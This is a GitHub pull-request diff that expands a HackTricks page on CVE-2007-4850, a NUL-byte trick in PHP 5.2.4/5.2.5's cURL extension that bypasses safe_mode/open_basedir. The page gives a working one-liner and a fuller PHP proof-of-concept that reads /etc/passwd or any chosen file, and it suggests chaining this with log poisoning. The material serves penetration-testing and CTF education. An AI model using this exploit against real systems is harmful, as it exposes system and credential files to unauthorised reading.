Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -2,22 +2,68 @@

{{#include ../../../../banners/hacktricks-training.md}}

This page documents a legacy but still useful-in-CTFs/local-legacy-installs trick to bypass PHP safe_mode/open_basedir checks using the cURL extension on specific PHP 5.2.x builds.

From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
- Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
- Impact: Read arbitrary local files despite safe_mode or open_basedir restrictions (no direct code execution).
- ID: CVE-2007-4850.

```text
source: http://www.securityfocus.com/bid/27413/info
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

PHP cURL is prone to a 'safe mode' security-bypass vulnerability.
## One-liner PoC

Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.
If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:

The issue affects PHP 5.2.5 and 5.2.4.
```php
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
```

## More explicit PoC (arbitrary file read)

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
```php
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
```

{{#include ../../../../banners/hacktricks-training.md}}
Notes:
- Use double quotes or chr(0) to inject a real NUL byte. Percent-encoding (%00) will not work reliably.
- This is a file read primitive. Combine with other primitives (log poisoning, session file inclusion, etc.) for further escalation when possible.

## Why this works (short)

The vulnerability lies in how PHP 5.2.4/5.2.5 performed safe_mode/open_basedir checks for file:// URLs in ext/curl. The check parsed the URL and validated a path component, but due to NUL-byte handling it validated a different string than the one actually used by libcurl. In practice, the validator could approve the path after the NUL while libcurl used the part before the NUL as the URL container, enabling a bypass that results in reading the file placed after the NUL byte. See the original analysis and the affected macro in curl/interface.c for details. [CVE-2007-4850].

## Constraints and fixes

- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.

## See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

{{#ref}}
README.md
{{#endref}}



## References

- Ubuntu CVE entry with patch pointers and affected versions: https://ubuntu.com/security/CVE-2007-4850
- Technical writeup with code context (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
{{#include ../../../../banners/hacktricks-training.md}}